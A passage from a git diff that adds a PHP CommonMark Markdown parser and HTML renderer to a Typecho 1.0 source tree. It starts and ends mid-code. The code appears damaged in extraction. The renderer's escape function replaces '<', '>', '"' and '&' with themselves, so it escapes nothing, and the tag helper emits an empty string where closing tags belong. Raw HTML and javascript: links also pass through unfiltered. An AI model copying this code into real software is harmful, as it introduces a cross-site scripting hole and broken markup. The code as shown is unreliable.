$ln[$firstNonSpace] == $container->getExtra('fence_char') && + $match = CommonMark_Util_RegexHelper::matchAll('/^(?:`{3,}|~{3,})(?= *$)/', $ln, $firstNonSpace) + ); + if ($test && strlen($match[0]) >= $container->getExtra('fence_length')) { + // don't add closing fence to container; instead, close it: + $this->finalize($container, $lineNumber); + } else { + $this->addLine($ln, $offset); + } + break; + + case CommonMark_Element_BlockElement::TYPE_ATX_HEADER: + case CommonMark_Element_BlockElement::TYPE_SETEXT_HEADER: + case CommonMark_Element_BlockElement::TYPE_HORIZONTAL_RULE: + // nothing to do; we already added the contents. + break; + + default: + if ($container->acceptsLines()) { + $this->addLine($ln, $firstNonSpace); + } elseif ($blank) { + // do nothing + } elseif ($container->getType() != CommonMark_Element_BlockElement::TYPE_HORIZONTAL_RULE && $container->getType( + ) != CommonMark_Element_BlockElement::TYPE_SETEXT_HEADER + ) { + // create paragraph container for line + $container = $this->addChild(CommonMark_Element_BlockElement::TYPE_PARAGRAPH, $lineNumber, $firstNonSpace); + $this->addLine($ln, $firstNonSpace); + } else { + // TODO: throw exception? + } + } + } + } + + /** + * @param BlockElement $block + * @param int $lineNumber + */ + public function finalize(CommonMark_Element_BlockElement $block, $lineNumber) + { + $block->finalize($lineNumber, $this->inlineParser, $this->refMap); + + $this->tip = $block->getParent(); // typo on 1310? + } + + /** + * The main parsing function. Returns a parsed document AST. + * @param string $input + * + * @return BlockElement + * + * @api + */ + public function parse($input) + { + $this->doc = new CommonMark_Element_BlockElement(CommonMark_Element_BlockElement::TYPE_DOCUMENT, 1, 1); + $this->tip = $this->doc; + + $this->inlineParser = new CommonMark_InlineParser(); + $this->refMap = new CommonMark_Reference_ReferenceMap(); + + // Remove any /n which appears at the very end of the string + if (substr($input, -1) == "\n") { + $input = substr($input, 0, -1); + } + + $lines = preg_split('/\r\n|\n|\r/', $input); + $len = count($lines); + for ($i = 0; $i < $len; $i++) { + $this->incorporateLine($lines[$i], $i + 1); + } + + while ($this->tip) { + $this->finalize($this->tip, $len - 1); + } + + $this->doc->processInlines($this->inlineParser, $this->refMap); + + return $this->doc; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/Element/BlockElement.php b/Typecho/1.0/php-fpm/src/var/CommonMark/Element/BlockElement.php new file mode 100755 index 000000000..f69d8987a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/Element/BlockElement.php @@ -0,0 +1,478 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + + +/** + * Block-level element + */ +class CommonMark_Element_BlockElement +{ + const TYPE_ATX_HEADER = 'ATXHeader'; + const TYPE_BLOCK_QUOTE = 'BlockQuote'; + const TYPE_DOCUMENT = 'Document'; + const TYPE_FENCED_CODE = 'FencedCode'; + const TYPE_HORIZONTAL_RULE = 'HorizontalRule'; + const TYPE_HTML_BLOCK = 'HtmlBlock'; + const TYPE_INDENTED_CODE = 'IndentedCode'; + const TYPE_LIST = 'List'; + const TYPE_LIST_ITEM = 'ListItem'; + const TYPE_PARAGRAPH = 'Paragraph'; + const TYPE_REFERENCE_DEF = 'ReferenceDef'; + const TYPE_SETEXT_HEADER = 'SetextHeader'; + + const LIST_TYPE_ORDERED = 'Outline'; + const LIST_TYPE_UNORDERED = 'Bullet'; + + /** + * @var string + */ + protected $type; + + /** + * @var bool + */ + protected $open = true; + + /** + * @var bool + */ + protected $lastLineBlank = false; + + /** + * @var int + */ + protected $startLine; + + /** + * @var int + */ + protected $startColumn; + + /** + * @var int + */ + protected $endLine; + + /** + * @var ArrayCollection|BlockELement[] + */ + protected $children; + + /** + * @var BlockElement|null + */ + protected $parent = null; + + /** + * This is formed by concatenating strings, in finalize: + * @var string + */ + protected $stringContent = ''; + + /** + * @var string[] + */ + protected $strings; + + /** + * @var ArrayCollection|InlineElementInterface[] + */ + protected $inlineContent; + + /** + * Extra data storage + * @var array + */ + protected $extras = array(); + + /** + * Constrcutor + * + * @param string $type Block type (see TYPE_ constants) + * @param int $startLine Line where the block element starts + * @param int $startColumn Column where the block element starts + */ + public function __construct($type, $startLine, $startColumn) + { + $this->type = $type; + $this->startLine = $startLine; + $this->startColumn = $startColumn; + $this->endLine = $startLine; + + $this->children = new CommonMark_Util_ArrayCollection(); + $this->strings = new CommonMark_Util_ArrayCollection(); + $this->inlineContent = new CommonMark_Util_ArrayCollection(); + } + + /** + * Returns true if parent block can contain child block + * + * @param mixed $childType The type of child block to add (see TYPE_ constants) + * + * @return bool + */ + public function canContain($childType) + { + $parentType = $this->type; + + return ($parentType == self::TYPE_DOCUMENT || + $parentType == self::TYPE_BLOCK_QUOTE || + $parentType == self::TYPE_LIST_ITEM || + ($parentType == self::TYPE_LIST && $childType == self::TYPE_LIST_ITEM)); + } + + /** + * Returns true if block type can accept lines of text + * + * @return bool + */ + public function acceptsLines() + { + return ($this->type == self::TYPE_PARAGRAPH || + $this->type == self::TYPE_INDENTED_CODE || + $this->type == self::TYPE_FENCED_CODE); + } + + /** + * Whether the block ends with a blank line + * + * @return bool + */ + public function endsWithBlankLine() + { + if ($this->lastLineBlank) { + return true; + } + + if (($this->type == self::TYPE_LIST || $this->type == self::TYPE_LIST_ITEM) && $this->hasChildren()) { + return $this->getChildren()->last()->endsWithBlankLine(); + } + + return false; + } + + /** + * @return ArrayCollection|BlockElement[] + */ + public function getChildren() + { + return $this->children; + } + + /** + * @return bool + */ + public function hasChildren() + { + return !$this->children->isEmpty(); + } + + /** + * @return mixed + */ + public function getType() + { + return $this->type; + } + + /** + * @param mixed $type + * + * @return $this + */ + public function setType($type) + { + $this->type = $type; + + return $this; + } + + /** + * @return BlockElement|null + */ + public function getParent() + { + return $this->parent ? $this->parent : null; + } + + /** + * Whether the block is open for modifications + * + * @return bool + */ + public function getIsOpen() + { + return $this->open; + } + + /** + * @return ArrayCollection|string[] + */ + public function getStrings() + { + return $this->strings; + } + + /** + * @param BlockElement $parent + * + * @return $this + */ + public function setParent(CommonMark_Element_BlockElement $parent) + { + $this->parent = $parent; + + return $this; + } + + /** + * @return bool + */ + public function getIsLastLineBlank() + { + return $this->lastLineBlank; + } + + /** + * @param bool $value + * + * @return $this + */ + public function setIsLastLineBlank($value) + { + $this->lastLineBlank = $value; + + return $this; + } + + /** + * @param bool $value + * + * @return $this + */ + public function setIsOpen($value) + { + $this->open = $value; + + return $this; + } + + /** + * @return int + */ + public function getStartLine() + { + return $this->startLine; + } + + /** + * @param int $lineNumber + * + * @return $this + */ + public function setEndLine($lineNumber) + { + $this->endLine = $lineNumber; + + return $this; + } + + /** + * @return ArrayCollection|InlineElementInterface[] + */ + public function getInlineContent() + { + return $this->inlineContent; + } + + /** + * @param string $key + * + * @return mixed|null + */ + public function getExtra($key) + { + return isset($this->extras[$key]) ? $this->extras[$key] : null; + } + + /** + * @param string $key + * @param mixed $value + * + * @return $this + */ + public function setExtra($key, $value) + { + $this->extras[$key] = $value; + + return $this; + } + + /** + * @return string + */ + public function getStringContent() + { + return $this->stringContent; + } + + /** + * Returns true if string contains only space characters + * + * @return bool + */ + private function isStringContentBlank() + { + return preg_match('/^\s*$/', $this->stringContent) == 1; + } + + /** + * Finalize the block; mark it closed for modification + * + * @param int $lineNumber + * @param InlineParser $inlineParser + * @param ReferenceMap $refMap + */ + public function finalize($lineNumber, CommonMark_InlineParser $inlineParser, CommonMark_Reference_ReferenceMap $refMap) + { + if (!$this->open) { + return; + } + + $this->open = false; + if ($lineNumber > $this->startLine) { + $this->endLine = $lineNumber - 1; + } else { + $this->endLine = $lineNumber; + } + + switch ($this->getType()) { + case self::TYPE_PARAGRAPH: + $this->stringContent = preg_replace( + '/^ */m', + '', + implode("\n", $this->strings->toArray()) + ); + + // Try parsing the beginning as link reference definitions: + while ($this->stringContent[0] === '[' && + ($pos = $inlineParser->parseReference($this->stringContent, $refMap)) + ) { + $this->stringContent = substr($this->stringContent, $pos); + if ($this->isStringContentBlank()) { //RegexHelper::getInstance()->isBlank($this->stringContent)) { + $this->type = self::TYPE_REFERENCE_DEF; + break; + } + } + break; + + case self::TYPE_ATX_HEADER: + case self::TYPE_SETEXT_HEADER: + case self::TYPE_HTML_BLOCK: + $this->stringContent = implode("\n", $this->strings->toArray()); + break; + + case self::TYPE_INDENTED_CODE: + $reversed = array_reverse($this->strings->toArray(), true); + foreach ($reversed as $index => $line) { + if ($line == '' || $line === "\n" || preg_match('/^(\n *)$/', $line)) { + unset($reversed[$index]); + } else { + break; + } + } + $fixed = array_reverse($reversed); + $tmp = implode("\n", $fixed); + if (substr($tmp, -1) !== "\n") { + $tmp .= "\n"; + } + + $this->stringContent = $tmp; + break; + + case self::TYPE_FENCED_CODE: + // first line becomes info string + $this->setExtra('info', CommonMark_Util_RegexHelper::unescape(trim($this->strings->first()))); + if ($this->strings->count() == 1) { + $this->stringContent = ''; + } else { + $this->stringContent = implode("\n", $this->strings->slice(1)) . "\n"; + } + break; + + case self::TYPE_LIST: + $this->setExtra('tight', true); // tight by default + + $numItems = $this->children->count(); + $i = 0; + while ($i < $numItems) { + /** @var BlockElement $item */ + $item = $this->children->get($i); + // check for non-final list item ending with blank line: + $lastItem = $i == $numItems - 1; + if ($item->endsWithBlankLine() && !$lastItem) { + $this->setExtra('tight', false); + break; + } + + // Recurse into children of list item, to see if there are + // spaces between any of them: + $numSubItems = $item->getChildren()->count(); + $j = 0; + while ($j < $numSubItems) { + $subItem = $item->getChildren()->get($j); + $lastSubItem = $j == $numSubItems - 1; + if ($subItem->endsWithBlankLine() && !($lastItem && $lastSubItem)) { + $this->setExtra('tight', false); + break; + } + + $j++; + } + + $i++; + } + + break; + + default: + break; + } + } + + /** + * @param InlineParser $inlineParser + * @param ReferenceMap $refMap + */ + public function processInlines(CommonMark_InlineParser $inlineParser, CommonMark_Reference_ReferenceMap $refMap) + { + switch ($this->getType()) { + case self::TYPE_PARAGRAPH: + case self::TYPE_SETEXT_HEADER: + case self::TYPE_ATX_HEADER: + $this->inlineContent = $inlineParser->parse(trim($this->stringContent), $refMap); + $this->stringContent = ''; + break; + default: + break; + } + + if ($this->hasChildren()) { + foreach ($this->getChildren() as $child) { + $child->processInlines($inlineParser, $refMap); + } + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineCreator.php b/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineCreator.php new file mode 100755 index 000000000..34361d837 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineCreator.php @@ -0,0 +1,125 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + + +/** + * Provides static methods to simplify and standardize the creation of inline elements + */ +class CommonMark_Element_InlineCreator +{ + /** + * @param string $code + * + * @return InlineElement + */ + public static function createCode($code) + { + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_CODE, array('c' => $code)); + } + + /** + * @param string $contents + * + * @return InlineElement + */ + public static function createEmph($contents) + { + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_EMPH, array('c' => $contents)); + } + + /** + * @param string $contents + * + * @return InlineElement + */ + public static function createEntity($contents) + { + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_ENTITY, array('c' => $contents)); + } + + /** + * @return InlineElement + */ + public static function createHardbreak() + { + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_HARDBREAK); + } + + /** + * @param string $html + * + * @return InlineElement + */ + public static function createHtml($html) + { + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_HTML, array('c' => $html)); + } + + /** + * @param string $destination + * @param string|ArrayCollection|null $label + * @param string|null $title + * + * @return InlineElement + */ + public static function createLink($destination, $label = null, $title = null) + { + $attr = array('destination' => $destination); + + if (is_string($label)) { + $attr['label'] = array(self::createString($label)); + } elseif (is_object($label) && $label instanceof CommonMark_Util_ArrayCollection) { + $attr['label'] = $label->toArray(); + } elseif (empty($label)) { + $attr['label'] = array(self::createString($destination)); + } else { + $attr['label'] = $label; + } + + if ($title) { + $attr['title'] = $title; + } + + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_LINK, $attr); + } + + /** + * @return InlineElement + */ + public static function createSoftbreak() + { + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_SOFTBREAK); + } + + /** + * @param string $contents + * + * @return InlineElement + */ + public static function createString($contents) + { + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_STRING, array('c' => $contents)); + } + + /** + * @param string $contents + * + * @return InlineElement + */ + public static function createStrong($contents) + { + return new CommonMark_Element_InlineElement(CommonMark_Element_InlineElement::TYPE_STRONG, array('c' => $contents)); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineElement.php b/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineElement.php new file mode 100755 index 000000000..f6931ba39 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineElement.php @@ -0,0 +1,114 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + +/** + * Inline element + */ +class CommonMark_Element_InlineElement implements CommonMark_Element_InlineElementInterface +{ + const TYPE_CODE = 'Code'; + const TYPE_EMPH = 'Emph'; + const TYPE_ENTITY = 'Entity'; + const TYPE_HARDBREAK = 'Hardbreak'; + const TYPE_HTML = 'Html'; + const TYPE_IMAGE = 'Image'; + const TYPE_LINK = 'Link'; + const TYPE_SOFTBREAK = 'Softbreak'; + const TYPE_STRING = 'Str'; + const TYPE_STRONG = 'Strong'; + + /** + * @var mixed + */ + protected $type; + + /** + * @var array + */ + protected $attributes; + + /** + * @param mixed $type + * @param array $attributes + */ + public function __construct($type, array $attributes = array()) + { + $this->type = $type; + $this->attributes = $attributes; + } + + /** + * @return mixed + */ + public function getType() + { + return $this->type; + } + + /** + * @param string $type + * + * @return $this + */ + public function setType($type) + { + $this->type = $type; + + return $this; + } + + /** + * @return mixed|null + */ + public function getContents() + { + return $this->getAttribute('c'); + } + + /** + * @param mixed $contents + * + * @return $this + */ + public function setContents($contents) + { + $this->setAttribute('c', $contents); + + return $this; + } + + /** + * @param string $attrName + * + * @return mixed|null + */ + public function getAttribute($attrName) + { + return isset($this->attributes[$attrName]) ? $this->attributes[$attrName] : null; + } + + /** + * @param string $attrName + * @param mixed $value + * + * @return $this + */ + public function setAttribute($attrName, $value) + { + $this->attributes[$attrName] = $value; + + return $this; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineElementInterface.php b/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineElementInterface.php new file mode 100755 index 000000000..98bed54d5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/Element/InlineElementInterface.php @@ -0,0 +1,56 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + +interface CommonMark_Element_InlineElementInterface +{ + /** + * @return $string + */ + public function getType(); + + /** + * @param string $type + * + * @return $this + */ + public function setType($type); + + /** + * @return mixed + */ + public function getContents(); + + /** + * @param mixed $contents + * + * @return $this + */ + public function setContents($contents); + + /** + * @param string $attrName + * + * @return mixed + */ + public function getAttribute($attrName); + + /** + * @param string $attrName + * @param mixed $value + * + * @return $this + */ + public function setAttribute($attrName, $value); +} diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/HtmlRenderer.php b/Typecho/1.0/php-fpm/src/var/CommonMark/HtmlRenderer.php new file mode 100755 index 000000000..b3bcbb99a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/HtmlRenderer.php @@ -0,0 +1,261 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + + +/** + * Renders a parsed AST to HTML + */ +class CommonMark_HtmlRenderer +{ + protected $blockSeparator = "\n"; + protected $innerSeparator = "\n"; + protected $softBreak = "\n"; + + /** + * @param string $string + * @param bool $preserveEntities + * + * @return string + * + * @todo: Can we use simple find/replace instead? + */ + protected function escape($string, $preserveEntities = false) + { + if ($preserveEntities) { + $string = preg_replace('/[&](?![#](x[a-f0-9]{1,8}|[0-9]{1,8});|[a-z][a-z0-9]{1,31};)/i', '&', $string); + } else { + $string = preg_replace('/[&]/', '&', $string); + } + + $string = preg_replace('/[<]/', '<', $string); + $string = preg_replace('/[>]/', '>', $string); + $string = preg_replace('/["]/', '"', $string); + + return $string; + } + + /** + * Helper function to produce content in a pair of HTML tags. + * + * @param string $tag + * @param array $attribs + * @param string|null $contents + * @param bool $selfClosing + * + * @return string + */ + protected function inTags($tag, $attribs = array(), $contents = null, $selfClosing = false) + { + $result = '<' . $tag; + + foreach ($attribs as $key => $value) { + $result .= ' ' . $key . '="' . $value . '"'; + + } + + if ($contents) { + $result .= '>' . $contents . ''; + } elseif ($selfClosing) { + $result .= ' />'; + } else { + $result .= '>'; + } + + return $result; + } + + /** + * @param InlineElementInterface $inline + * + * @return mixed|string + * + * @throws \InvalidArgumentException + */ + public function renderInline(CommonMark_Element_InlineElementInterface $inline) + { + $attrs = array(); + switch ($inline->getType()) { + case CommonMark_Element_InlineElement::TYPE_STRING: + return $this->escape($inline->getContents()); + case CommonMark_Element_InlineElement::TYPE_SOFTBREAK: + return $this->softBreak; + case CommonMark_Element_InlineElement::TYPE_HARDBREAK: + return $this->inTags('br', array(), '', true) . "\n"; + case CommonMark_Element_InlineElement::TYPE_EMPH: + return $this->inTags('em', array(), $this->renderInlines($inline->getContents())); + case CommonMark_Element_InlineElement::TYPE_STRONG: + return $this->inTags('strong', array(), $this->renderInlines($inline->getContents())); + case CommonMark_Element_InlineElement::TYPE_HTML: + return $inline->getContents(); + case CommonMark_Element_InlineElement::TYPE_ENTITY: + return $inline->getContents(); + case CommonMark_Element_InlineElement::TYPE_LINK: + $attrs['href'] = $this->escape($inline->getAttribute('destination'), true); + if ($title = $inline->getAttribute('title')) { + $attrs['title'] = $this->escape($title, true); + } + + return $this->inTags('a', $attrs, $this->renderInlines($inline->getAttribute('label'))); + case CommonMark_Element_InlineElement::TYPE_IMAGE: + $attrs['src'] = $this->escape($inline->getAttribute('destination'), true); + $attrs['alt'] = $this->escape($this->renderInlines($inline->getAttribute('label'))); + if ($title = $inline->getAttribute('title')) { + $attrs['title'] = $this->escape($title, true); + } + + return $this->inTags('img', $attrs, '', true); + case CommonMark_Element_InlineElement::TYPE_CODE: + return $this->inTags('code', array(), $this->escape($inline->getContents())); + default: + throw new InvalidArgumentException('Unknown inline type: ' . $inline->getType()); + } + } + + /** + * @param InlineElement[] $inlines + * + * @return string + */ + public function renderInlines($inlines) + { + $result = array(); + foreach ($inlines as $inline) { + $result[] = $this->renderInline($inline); + } + + return implode('', $result); + } + + /** + * @param BlockElement $block + * @param bool $inTightList + * + * @return string + * + * @throws \RuntimeException + */ + public function renderBlock(CommonMark_Element_BlockElement $block, $inTightList = false) + { + switch ($block->getType()) { + case CommonMark_Element_BlockElement::TYPE_DOCUMENT: + $wholeDoc = $this->renderBlocks($block->getChildren()); + + return $wholeDoc === '' ? '' : $wholeDoc . "\n"; + case CommonMark_Element_BlockElement::TYPE_PARAGRAPH: + if ($inTightList) { + return $this->renderInlines($block->getInlineContent()); + } else { + return $this->inTags('p', array(), $this->renderInlines($block->getInlineContent())); + } + break; + case CommonMark_Element_BlockElement::TYPE_BLOCK_QUOTE: + $filling = $this->renderBlocks($block->getChildren()); + if ($filling === '') { + return $this->inTags('blockquote', array(), $this->innerSeparator); + } else { + return $this->inTags( + 'blockquote', + array(), + $this->innerSeparator . $filling . $this->innerSeparator + ); + } + case CommonMark_Element_BlockElement::TYPE_LIST_ITEM: + return trim($this->inTags('li', array(), $this->renderBlocks($block->getChildren(), $inTightList))); + case CommonMark_Element_BlockElement::TYPE_LIST: + $listData = $block->getExtra('list_data'); + $start = isset($listData['start']) ? $listData['start'] : null; + + $tag = $listData['type'] == CommonMark_Element_BlockElement::LIST_TYPE_UNORDERED ? 'ul' : 'ol'; + $attr = (!$start || $start == 1) ? + array() : array('start' => (string)$start); + + return $this->inTags( + $tag, + $attr, + $this->innerSeparator . $this->renderBlocks( + $block->getChildren(), + $block->getExtra('tight') + ) . $this->innerSeparator + ); + case CommonMark_Element_BlockElement::TYPE_ATX_HEADER: + case CommonMark_Element_BlockElement::TYPE_SETEXT_HEADER: + $tag = 'h' . $block->getExtra('level'); + + return $this->inTags($tag, array(), $this->renderInlines($block->getInlineContent())); + + case CommonMark_Element_BlockElement::TYPE_INDENTED_CODE: + return $this->inTags( + 'pre', + array(), + $this->inTags('code', array(), $this->escape($block->getStringContent())) + ); + + case CommonMark_Element_BlockElement::TYPE_FENCED_CODE: + $infoWords = preg_split('/ +/', $block->getExtra('info')); + $attr = count($infoWords) === 0 || strlen( + $infoWords[0] + ) === 0 ? array() : array('class' => 'language-' . $this->escape($infoWords[0], true)); + return $this->inTags( + 'pre', + array(), + $this->inTags('code', $attr, $this->escape($block->getStringContent())) + ); + + case CommonMark_Element_BlockElement::TYPE_HTML_BLOCK: + return $block->getStringContent(); + + case CommonMark_Element_BlockElement::TYPE_REFERENCE_DEF: + return ''; + + case CommonMark_Element_BlockElement::TYPE_HORIZONTAL_RULE: + return $this->inTags('hr', array(), '', true); + + default: + throw new RuntimeException('Unknown block type: ' . $block->getType()); + } + } + + /** + * @param BlockElement[] $blocks + * @param bool $inTightList + * + * @return string + */ + public function renderBlocks($blocks, $inTightList = false) + { + $result = array(); + foreach ($blocks as $block) { + if ($block->getType() !== 'ReferenceDef') { + $result[] = $this->renderBlock($block, $inTightList); + } + } + + return implode($this->blockSeparator, $result); + } + + /** + * @param BlockElement $block + * @param bool $inTightList + * + * @return string + * + * @api + */ + public function render(CommonMark_Element_BlockElement $block, $inTightList = false) + { + return $this->renderBlock($block, $inTightList); + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/CommonMark/InlineParser.php b/Typecho/1.0/php-fpm/src/var/CommonMark/InlineParser.php new file mode 100755 index 000000000..f461ef528 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/CommonMark/InlineParser.php @@ -0,0 +1,831 @@ + + * + * Original code based on stmd.js + * - (c) John MacFarlane + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + + +/** + * Parses inline elements + */ +class CommonMark_InlineParser +{ + /** + * @var string + */ + protected $subject; + + /** + * @var int + */ + protected $labelNestLevel = 0; // Used by parseLinkLabel method + + /** + * @var int + */ + protected $pos = 0; + + /** + * @var ReferenceMap + */ + protected $refmap; + + /** + * @var RegexHelper + */ + protected $regexHelper; + + /** + * Constrcutor + */ + public function __construct() + { + $this->refmap = new CommonMark_Reference_ReferenceMap(); + } + + /** + * If re matches at current position in the subject, advance + * position in subject and return the match; otherwise return null + * @param string $re + * + * @return string|null The match (if found); null otherwise + */ + protected function match($re) + { + $matches = array(); + $subject = substr($this->subject, $this->pos); + if (!preg_match($re, $subject, $matches, PREG_OFFSET_CAPTURE)) { + return null; + } + + // [0][0] contains the matched text + // [0][1] contains the index of that match + $this->pos += $matches[0][1] + strlen($matches[0][0]); + + return $matches[0][0]; + } + + /** + * Returns the character at the current subject position, or null if + * there are no more characters + * + * @return string|null + */ + protected function peek() + { + $ch = substr($this->subject, $this->pos, 1); + return false !== $ch && strlen($ch) > 0 ? $ch : null; + } + + /** + * Parse zero or more space characters, including at most one newline + * + * @return int + */ + protected function spnl() + { + $this->match('/^ *(?:\n *)?/'); + + return 1; + } + + // All of the parsers below try to match something at the current position + // in the subject. If they succeed in matching anything, they + // push an inline element onto the 'inlines' list. They return the + // number of characters parsed (possibly 0). + + /** + * Attempt to parse backticks, adding either a backtick code span or a + * literal sequence of backticks to the 'inlines' list. + * @param \ColinODell\CommonMark\Util\ArrayCollection $inlines + * + * @return int Number of characters parsed + */ + protected function parseBackticks(CommonMark_Util_ArrayCollection $inlines) + { + $startpos = $this->pos; + $ticks = $this->match('/^`+/'); + if (!$ticks) { + return 0; + } + + $afterOpenTicks = $this->pos; + $foundCode = false; + $match = null; + while (!$foundCode && ($match = $this->match('/`+/m'))) { + if ($match == $ticks) { + $c = substr($this->subject, $afterOpenTicks, $this->pos - $afterOpenTicks - strlen($ticks)); + $c = preg_replace('/[ \n]+/', ' ', $c); + $inlines->add(CommonMark_Element_InlineCreator::createCode(trim($c))); + + return ($this->pos - $startpos); + } + } + + // If we go here, we didn't match a closing backtick sequence + $inlines->add(CommonMark_Element_InlineCreator::createString($ticks)); + $this->pos = $afterOpenTicks; + + return ($this->pos - $startpos); + } + + /** + * Parse a backslash-escaped special character, adding either the escaped + * character, a hard line break (if the backslash is followed by a newline), + * or a literal backslash to the 'inlines' list. + * + * @param \ColinODell\CommonMark\Util\ArrayCollection $inlines + * + * @return int + */ + protected function parseEscaped(CommonMark_Util_ArrayCollection $inlines) + { + $subject = $this->subject; + $pos = $this->pos; + if ($subject[$pos] === '\\') { + if (isset($subject[$pos + 1]) && $subject[$pos + 1] === "\n") { + $inlines->add(CommonMark_Element_InlineCreator::createHardbreak()); + $this->pos = $this->pos + 2; + + return 2; + } elseif (isset($subject[$pos + 1]) && preg_match( + '/' . CommonMark_Util_RegexHelper::REGEX_ESCAPABLE . '/', + $subject[$pos + 1] + ) + ) { + $inlines->add(CommonMark_Element_InlineCreator::createString($subject[$pos + 1])); + $this->pos = $this->pos + 2; + + return 2; + } else { + $this->pos++; + $inlines->add(CommonMark_Element_InlineCreator::createString('\\')); + + return 1; + } + } else { + return 0; + } + } + + /** + * Attempt to parse an autolink (URL or email in pointy brackets) + * @param \ColinODell\CommonMark\Util\ArrayCollection $inlines + * + * @return int + */ + protected function parseAutolink(CommonMark_Util_ArrayCollection $inlines) + { + $emailRegex = '/^<([a-zA-Z0-9.!#$%&\'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*)>/'; + $otherLinkRegex = '/^<(?:coap|doi|javascript|aaa|aaas|about|acap|cap|cid|crid|data|dav|dict|dns|file|ftp|geo|go|gopher|h323|http|https|iax|icap|im|imap|info|ipp|iris|iris.beep|iris.xpc|iris.xpcs|iris.lwz|ldap|mailto|mid|msrp|msrps|mtqp|mupdate|news|nfs|ni|nih|nntp|opaquelocktoken|pop|pres|rtsp|service|session|shttp|sieve|sip|sips|sms|snmp|soap.beep|soap.beeps|tag|tel|telnet|tftp|thismessage|tn3270|tip|tv|urn|vemmi|ws|wss|xcon|xcon-userid|xmlrpc.beep|xmlrpc.beeps|xmpp|z39.50r|z39.50s|adiumxtra|afp|afs|aim|apt|attachment|aw|beshare|bitcoin|bolo|callto|chrome|chrome-extension|com-eventbrite-attendee|content|cvs|dlna-playsingle|dlna-playcontainer|dtn|dvb|ed2k|facetime|feed|finger|fish|gg|git|gizmoproject|gtalk|hcp|icon|ipn|irc|irc6|ircs|itms|jar|jms|keyparc|lastfm|ldaps|magnet|maps|market|message|mms|ms-help|msnim|mumble|mvn|notes|oid|palm|paparazzi|platform|proxy|psyc|query|res|resource|rmi|rsync|rtmp|secondlife|sftp|sgn|skype|smb|soldat|spotify|ssh|steam|svn|teamspeak|things|udp|unreal|ut2004|ventrilo|view-source|webcal|wtai|wyciwyg|xfire|xri|ymsgr):[^<>\x00-\x20]*>/i'; + + if ($m = $this->match($emailRegex)) { + $email = substr($m, 1, -1); + $inlines->add(CommonMark_Element_InlineCreator::createLink('mailto:' . $email, $email)); + + return strlen($m); + } elseif ($m = $this->match($otherLinkRegex)) { + $dest = substr($m, 1, -1); + $inlines->add(CommonMark_Element_InlineCreator::createLink($dest, $dest)); + + return strlen($m); + } else { + return 0; + } + } + + /** + * Attempt to parse a raw HTML tag + * @param \ColinODell\CommonMark\Util\ArrayCollection $inlines + * + * @return int + */ + protected function parseHtmlTag(CommonMark_Util_ArrayCollection $inlines) + { + if ($m = $this->match(CommonMark_Util_RegexHelper::getInstance()->getHtmlTagRegex())) { + $inlines->add(CommonMark_Element_InlineCreator::createHtml($m)); + + return strlen($m); + } else { + return 0; + } + } + + /** + * Scan a sequence of characters == c, and return information about + * the number of delimiters and whether they are positioned such that + * they can open and/or close emphasis or strong emphasis. A utility + * function for strong/emph parsing. + * + * @param string $char + * + * @return array + */ + protected function scanDelims($char) + { + $numDelims = 0; + $startPos = $this->pos; + + $charBefore = $this->pos === 0 ? "\n" : $this->subject[$this->pos - 1]; + + while ($this->peek() === $char) { + $numDelims++; + $this->pos++; + } + + $peek = $this->peek(); + $charAfter = $peek ? $peek : "\n"; + + $canOpen = $numDelims > 0 && $numDelims <= 3 && !preg_match('/\s/', $charAfter); + $canClose = $numDelims > 0 && $numDelims <= 3 && !preg_match('/\s/', $charBefore); + if ($char === '_') { + $canOpen = $canOpen && !preg_match('/[a-z0-9]/i', $charBefore); + $canClose = $canClose && !preg_match('/[a-z0-9]/i', $charAfter); + } + + $this->pos = $startPos; + + return compact('numDelims', 'canOpen', 'canClose'); + } + + /** + * @param ArrayCollection $inlines + * + * @return int + */ + protected function 